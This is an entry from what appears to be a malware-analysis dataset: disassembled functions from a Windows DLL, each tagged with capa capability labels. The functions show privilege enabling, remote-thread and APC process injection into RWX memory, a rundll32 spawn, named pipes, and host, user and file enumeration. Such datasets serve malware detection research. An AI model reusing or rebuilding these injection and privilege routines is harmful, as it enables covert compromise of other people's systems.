joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004552
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov eax, str.SeDebugPrivilege
xor esi, esi
push edi
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], str.SeTcbPrivilege
mov dword [ebp - 0x84], str.SeCreateTokenPrivilege
mov dword [ebp - 0x80], str.SeAssignPrimaryTokenPrivilege
mov dword [ebp - 0x7c], str.SeLockMemoryPrivilege
mov dword [ebp - 0x78], str.SeIncreaseQuotaPrivilege
mov dword [ebp - 0x74], str.SeUnsolicitedInputPrivilege
mov dword [ebp - 0x70], str.SeMachineAccountPrivilege
mov dword [ebp - 0x6c], str.SeSecurityPrivilege
mov dword [ebp - 0x68], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0x64], str.SeLoadDriverPrivilege
mov dword [ebp - 0x60], str.SeSystemProfilePrivilege
mov dword [ebp - 0x5c], str.SeSystemtimePrivilege
mov dword [ebp - 0x58], str.SeProfileSingleProcessPrivilege
mov dword [ebp - 0x54], str.SeIncreaseBasePriorityPrivilege
mov dword [ebp - 0x50], str.SeCreatePagefilePrivilege
mov dword [ebp - 0x4c], str.SeCreatePermanentPrivilege
mov dword [ebp - 0x48], str.SeBackupPrivilege
mov dword [ebp - 0x44], str.SeRestorePrivilege
mov dword [ebp - 0x40], str.SeShutdownPrivilege
mov dword [ebp - 0x3c], str.SeAuditPrivilege
mov dword [ebp - 0x38], str.SeSystemEnvironmentPrivilege
mov dword [ebp - 0x34], str.SeChangeNotifyPrivilege
mov dword [ebp - 0x30], str.SeRemoteShutdownPrivilege
mov dword [ebp - 0x2c], str.SeUndockPrivilege
mov dword [ebp - 0x28], str.SeSyncAgentPrivilege
mov dword [ebp - 0x24], str.SeEnableDelegationPrivilege
mov dword [ebp - 0x20], str.SeManageVolumePrivilege
mov dword [ebp - 0x1c], esi
xor ebx, ebx
mov ecx, eax
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp + ebx*4 - 0x88]
inc ebx
cmp ecx, esi
jne 0x10004635
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000467a
Capabilities:
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp esi, 0x100
mov eax, dword [ebp + 8]
jge 0x100046fe
push ebx
push esi
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.10015df0
or dword [0x1002f16c], 0xffffffff
or dword [0x1002e01c], 0xffffffff
or dword [0x1002f29c], 0xffffffff
add esp, 0xc
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 2
push 4
push 3
lea eax, [ebp - 0x104]
push eax
mov byte [ebp + esi - 0x104], bl
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x1002e01c], eax
cmp eax, ebx
je 0x100046fd
push ebx
push ebx
push ebx
push 0x100042bb
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1002f29c], eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001436d
leave
ret
Function at 0x10004a98
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
cmp dword [0x100390a8], edi
jne 0x10004aba
push 0x80004
call fcn.10014459
pop ecx
mov dword [0x100390a8], eax
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x100390a8]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
cmp ebx, dword [ebp + 8]
jbe 0x10004af5
mov ebx, dword [ebp + 8]
jmp 0x10004af5
push dword [esi + 8]
mov eax, dword [0x100390a8]
push ebx
lea eax, [eax + edi + 4]
push 1
push eax
call fcn.100155cc
add esp, 0x10
add edi, eax
sub ebx, eax
sub dword [esi + 4], eax
test ebx, ebx
ja 0x10004ad6
push 8
add edi, 4
push edi
push dword [0x100390a8]
call section..text
push section..text
call fcn.10004b1c
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10004bdd
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x24]
call fcn.10006700
mov edi, 0x80
lea esi, [ebp - 0x14]
call fcn.10001b16
lea esi, [ebp - 0x24]
call fcn.10006711
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001b35
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push eax
push 0x10029de4
lea esi, [ebp - 0x14]
call fcn.10001b7d
pop ecx
pop ecx
push 0x16
mov eax, esi
call fcn.10001bd3
push eax
mov eax, esi
call fcn.10001bd0
push eax
call section..text
add esp, 0xc
mov eax, esi
call fcn.10001bb7
pop edi
pop esi
leave
ret

Function at 0x10004c4d
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0x10
xor ecx, ecx
cmp al, 0x10
sete cl
mov eax, ecx
pop ebp
ret
Function at 0x10004d1e
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x4000
push edi
call fcn.10014459
push edi
mov ebx, eax
push 0
push ebx
call fcn.10017a30
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x158]
call fcn.10006700
mov esi, eax
call fcn.10006711
mov dword [ebp - 0x16c], eax
mov eax, esi
push edi
push eax
call fcn.100067b5
mov edi, 0x200000
lea esi, [ebp - 0x158]
call fcn.10001b16
push dword [ebp - 0x16c]
mov eax, esi
push eax
call fcn.10001b35
mov esi, 0x4000
push esi
push 0x10029df0
push ebx
call fcn.10015903
add esp, 0x30
test eax, eax
jne 0x10004dc0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 2
push 0x10029df4
push esi
push ebx
call fcn.100159c3
add esp, 0x10
push ebx
push 0x10029df8
lea esi, [ebp - 0x158]
call fcn.10001b7d
pop ecx
pop ecx
lea eax, [ebp - 0x148]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004e22
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.could_not_open__s:__d
call fcn.10001093
add esp, 0xc
push 0x16
mov eax, esi
call fcn.10001bd3
push eax
mov eax, esi
call fcn.10001bd0
push eax
call section..text
push ebx
call fcn.1001437c
add esp, 0x10
jmp 0x10004f39
push ebx
call fcn.1001437c
pop ecx
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x17c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [ebp - 0x148], 0x10
lea esi, [ebp - 0x158]
je 0x10004ea8
lea eax, [ebp - 0x11c]
push eax
movzx eax, word [ebp - 0x15c]
push eax
movzx eax, word [ebp - 0x15e]
push eax
movzx eax, word [ebp - 0x160]
push eax
movzx eax, word [ebp - 0x168]
push eax
movzx eax, word [ebp - 0x162]
push eax
movzx eax, word [ebp - 0x166]
push eax
push str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001b7d
add esp, 0x20
jmp 0x10004efa
mov ecx, dword [ebp - 0x12c]
lea edx, [ebp - 0x11c]
push edx
movzx edx, word [ebp - 0x15c]
push edx
movzx edx, word [ebp - 0x15e]
mov eax, dword [ebp - 0x128]
push edx
movzx edx, word [ebp - 0x160]
push edx
movzx edx, word [ebp - 0x168]
push edx
movzx edx, word [ebp - 0x162]
push edx
movzx edx, word [ebp - 0x166]
push edx
push ecx
push eax
push str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001b7d
add esp, 0x28
lea eax, [ebp - 0x148]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004e29
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x16
lea eax, [ebp - 0x158]
call fcn.10001bd3
push eax
lea eax, [ebp - 0x158]
call fcn.10001bd0
push eax
call section..text
add esp, 0xc
lea eax, [ebp - 0x158]
call fcn.10001bb7
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x10004fcf
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x40
mov ebx, eax
push 0x1000
lea eax, [ebx + 0x400]
push eax
xor esi, esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x1000500e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
sub ebx, 0xffffff80
push ebx
push str.could_not_allocate__d_bytes_in_process:__d
jmp 0x100050c7
test ebx, ebx
jle 0x10005043
lea eax, [ebp - 4]
push eax
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0x10]
add eax, esi
push eax
lea eax, [edi + esi]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10005071
add esi, dword [ebp - 4]
cmp dword [ebp - 4], 0
je 0x100050cf
cmp esi, ebx
jl 0x10005012
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.100048fb
pop ecx
test eax, eax
je 0x10005086
push dword [ebp + 8]
call fcn.100048fb
pop ecx
test eax, eax
jne 0x10005086
mov eax, dword [ebp + 0x14]
add edi, eax
push edi
push dword [ebp + 8]
call fcn.10005575
jmp 0x100050b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_write_to_process_memory:__d
call fcn.10001093
pop ecx
pop ecx
jmp 0x100050cf
mov eax, dword [ebp + 0x14]
add edi, eax
xor eax, eax
push eax
push eax
push eax
push edi
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x100050cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 0xc]
mov ecx, edi
push dword [ebp + 8]
mov dword [ebp - 8], eax
call fcn.100053b5
pop ecx
pop ecx
test eax, eax
jne 0x100050cf
push dword [ebp - 8]
push dword [ebp + 0xc]
push str.could_not_create_remote_thread_in__d:__d
call fcn.10001093
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000517c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x410], eax
call fcn.10008cd8
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x46c]
push ebx
push eax
call fcn.10017a30
xor eax, eax
lea edi, [ebp - 0x420]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
lea eax, [ebp - 0x46c]
push eax
mov dword [ebp - 0x46c], esi
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov dword [ebp - 0x440], 0x101
mov word [ebp - 0x43c], ax
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x434], ebx
cmp dword [ebp + 0x10], ebx
jne 0x10005234
mov esi, 0x400
push esi
lea eax, [ebp - 0x40c]
push ebx
push eax
call fcn.10017a30
add esp, 0xc
push esi
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
sub esi, eax
push str._sysnative_rundll32.exe
push esi
lea eax, [ebp + eax - 0x40c]
jmp 0x1000525d
mov edx, 0x100390b0
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000523e
sub eax, esi
jne 0x10005268
push 0xe
pop edx
call fcn.100087fb
push eax
push 0x400
lea eax, [ebp - 0x40c]
push eax
call fcn.10014523
add esp, 0xc
jmp 0x10005282
push edx
push 0x1002955c
lea eax, [ebp - 0x40c]
push 0x400
push eax
call fcn.10014523
add esp, 0x10
push 1
push 4
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x46c]
call fcn.100034f7
add esp, 0x10
test eax, eax
je 0x10005307
push dword [ebp - 0x418]
push ebx
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
jne 0x100052df
call fcn.10008ce8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x418]
push str.could_not_open_process__d:__d
call fcn.10001093
add esp, 0xc
jmp 0x1000530c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0xc]
push ebx
push dword [ebp - 0x410]
push dword [ebp - 0x418]
push esi
call fcn.10004fcf
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.10008ce8
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x100053b5
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e0
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x20], eax
push 6
xor eax, eax
mov esi, ecx
pop ecx
lea edi, [ebp - 0x4c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor ebx, ebx
push 0x18c
stosd dword es:[edi], eax
lea eax, [ebp - 0x1dc]
push ebx
push eax
mov dword [ebp - 0x1e0], ebx
call fcn.10017a30
add esp, 0xc
push str.ntdll
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 8], bl
mov dword [ebp - 0x50], 0x1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x30], eax
cmp eax, ebx
jne 0x10005433
xor eax, eax
jmp 0x10005566
push str.NtQueueApcThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
cmp eax, ebx
je 0x1000542c
push ebx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x28], eax
cmp eax, ebx
je 0x1000542c
lea ecx, [ebp - 0x50]
push ecx
push eax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1000542c
push 0x40
push 0x3000
push 0x109
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x1000542c
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push 0xf5
push 0x1002f028
push eax
push dword [ebp - 0x20]
lea esi, [eax + 0xf5]
call edi
test eax, eax
je 0x1000542c
push ebx
push 0x14
lea eax, [ebp - 0x18]
push eax
push esi
push dword [ebp - 0x20]
call edi
test eax, eax
je 0x1000542c
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp + 0xc]
jne 0x10005518
push dword [ebp - 0x48]
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
cmp edi, ebx
je 0x10005518
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10005515
mov ecx, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x1e0], edi
cmp eax, ebx
jne 0x10005518
mov eax, dword [ebp - 0x2c]
push ebx
push ebx
add eax, 0xf5
push eax
push dword [ebp - 0x2c]
push edi
call dword [ebp - 0x34]
test eax, eax
jne 0x10005518
mov dword [ebp - 0x24], 1
jmp 0x10005518
push edi
call esi
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x28]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x1000552e
cmp dword [ebp - 0x1c], 0x64
jl 0x100054bc
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1c], ebx
jle 0x10005555
mov edi, dword [ebp + ebx*4 - 0x1e0]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call esi
inc ebx
cmp ebx, dword [ebp - 0x1c]
jl 0x1000553e
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x10005575
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x90
xor edi, edi
lea eax, [ebp - 0x94]
push edi
push eax
call fcn.10017a30
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x100055c2
xor eax, eax
jmp 0x1000568f
cmp dword [ebp - 0x94], 5
jne 0x100055de
cmp dword [ebp - 0x90], 2
jne 0x100055de
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x100055bb
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push edi
call esi
mov dword [ebp - 0x9c], eax
cmp eax, edi
je 0x10005663
push 0x40
push ebx
push 0x149
push edi
call esi
mov ebx, eax
cmp ebx, edi
je 0x10005663
mov edi, dword [ebp - 0x9c]
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x1002f120
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x1002f170
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x10], 0
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
push esi
push ebx
mov dword [esi + 8], eax
call dword [ebp - 0x9c]
test eax, eax
jne 0x10005654
push 5
jmp 0x1000565d
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x10005667
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1000568d
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 0x9c]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1001436d
leave
ret

Function at 0x10005aa3
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x10005afd
or eax, 0xffffffff
jmp 0x10005b05
cmp dword [ebp - 4], 0x80000
jae 0x10005b02
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x10005ab9
cmp dword [ebp - 8], esi
ja 0x10005acf
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret
Function at 0x10005f8f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
xor edi, edi
call esi
test eax, eax
je 0x10005ff7
cmp dword [ebp - 4], 4
jne 0x10005ff7
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jg 0x10005ff7
cmp eax, ebx
jle 0x10005ff3
push ebx
lea ecx, [ebp - 4]
push ecx
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10005ff7
cmp dword [ebp - 4], ebx
je 0x10005ff7
add edi, dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp edi, eax
jl 0x10005fcd
mov eax, edi
jmp 0x10005ffa
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005fff
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], edi
call esi
cmp eax, edi
je 0x10006060
cmp dword [ebp - 4], 4
jne 0x10006062
cmp dword [ebp + 0x10], edi
jbe 0x10006062
mov eax, dword [ebp + 0x10]
sub eax, edi
cmp eax, 0x2000
jbe 0x10006040
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10006060
add edi, dword [ebp - 4]
cmp edi, dword [ebp + 0x10]
jb 0x1000602f
jmp 0x10006062
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100065a5
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1003cd08]
push ebx
push esi
push edi
push 0x294
mov dword [ebp - 0x14], eax
call fcn.100066ac
mov edx, eax
mov ebx, 0x94
pop ecx
mov esi, ebx
mov dword [ebp - 8], edx
call fcn.1000674e
add esi, 0x6c
mov edi, eax
call fcn.1000674e
mov dword [ebp - 0x10], eax
call fcn.1000674e
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.10009159
test eax, eax
je 0x10006611
push 2
push 0x1002a0d0
push esi
push dword [ebp - 0xc]
call fcn.100159c3
add esp, 0x10
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push 0
push edi
call fcn.10017a30
add esp, 0xc
push edi
mov dword [edi], ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.1000b714
mov ebx, eax
test ebx, ebx
jne 0x10006652
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.100048fb
pop ecx
test eax, eax
je 0x10006655
xor eax, eax
inc eax
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.100033ed
push eax
push dword [edi + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [ebp - 0x14]
push str._d_t_d_t_d._d_t_s_t_s_t_s_t_d_t_d
push esi
push dword [ebp + 8]
call fcn.10014523
mov eax, dword [ebp + 8]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000668a
sub eax, ecx
mov edi, eax
cmp edi, 0x5d
jle 0x1000669d
push 0x5d
pop edi
mov esi, dword [ebp - 8]
call fcn.100066ee
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100067f5
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x10006823
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x10006829
cmp esi, dword [ebp + 0xc]
jl 0x10006803
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x10006825